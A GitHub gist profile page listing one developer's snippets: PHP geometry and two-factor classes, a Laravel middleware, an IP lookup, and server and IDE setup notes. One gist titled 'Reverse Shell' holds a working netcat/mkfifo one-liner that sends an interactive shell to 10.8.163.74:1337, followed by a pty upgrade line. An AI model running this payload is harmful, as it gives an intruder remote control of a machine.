Skip to content

Instantly share code, notes, and snippets.

View afiqiqmal's full-sized avatar
👻
I may be slow to respond.

Hafiq afiqiqmal

👻
I may be slow to respond.
View GitHub Profile
@afiqiqmal
afiqiqmal / whatsmyip.sh
Created June 1, 2021 06:09
Get Your Current IP from Terminal
#!/bin/sh
curl https://ipinfo.io/$(curl -s icanhazip.com)
@afiqiqmal
afiqiqmal / PointLocation.php
Created April 16, 2021 08:33
Check if location is inside polygon or not
<?php
class PointLocation
{
public static function pointInPolygon($point, $vertices): string
{
if (self::pointOnVertex($point, $vertices) == true) {
return "vertex";
}
@afiqiqmal
afiqiqmal / index.html
Created April 2, 2021 02:25
Google Map URL Testing for iOS user
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
</head>
<body>
<div class="p-5">
@afiqiqmal
afiqiqmal / reverse.sh
Last active March 22, 2021 14:19
Reverse Shell
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.163.74 1337 >/tmp/f
python -c 'import pty; pty.spawn("/bin/bash")'
@afiqiqmal
afiqiqmal / laragon-cmder-phpstorm.md
Created March 3, 2021 00:25 — forked from landbryo/laragon-cmder-phpstorm.md
Laragon Cmder in PHPStorm

Navigate to PHPStorm's Settings > Tools > Terminal and set...

Shell path "cmd" /k "C:\laragon\bin\cmder\vendor\init.bat"

@afiqiqmal
afiqiqmal / php-pools.md
Created February 24, 2021 02:35 — forked from holmberd/php-pools.md
Adjusting child processes for PHP-FPM (Nginx)

Adjusting child processes for PHP-FPM (Nginx)

When setting these options consider the following:

  • How long is your average request?
  • What is the maximum number of simultaneous visitors the site(s) get?
  • How much memory on average does each child process consume?

Determine if the max_children limit has been reached.

  • sudo grep max_children /var/log/php?.?-fpm.log.1 /var/log/php?.?-fpm.log
@afiqiqmal
afiqiqmal / TwoFactorAuthenticationProvider.php
Last active January 25, 2021 12:42
TwoFactorAuthenticationProvider
<?php
class TwoFactorAuthenticationProvider
{
protected $engine;
public function __construct(Google2FA $engine)
{
$this->engine = $engine;
}
@afiqiqmal
afiqiqmal / TimestampProtection.php
Last active January 25, 2021 01:04
API extra security layer with Timestamp protection using Laravel
<?php
namespace App\Http\Middleware;
use \RuntimeException;
use Closure;
use Illuminate\Http\Request;
use Illuminate\Support\Carbon;
class TimestampProtection
{
@afiqiqmal
afiqiqmal / AvoidDuplicateConstraintSoftDelete.php
Last active December 24, 2020 11:45
use Laravel SoftDeletes as boolean and avoid unique constraint problem
<?php
namespace App\Models\Traits;
use App\Observers\AvoidDuplicateConstraintSoftDeleteObserver;
trait AvoidDuplicateConstraintSoftDelete
{
@afiqiqmal
afiqiqmal / sources.list
Created November 27, 2020 02:10 — forked from ishad0w/sources.list
Ubuntu 20.04 LTS (Focal Fossa) -- Full sources.list
deb http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse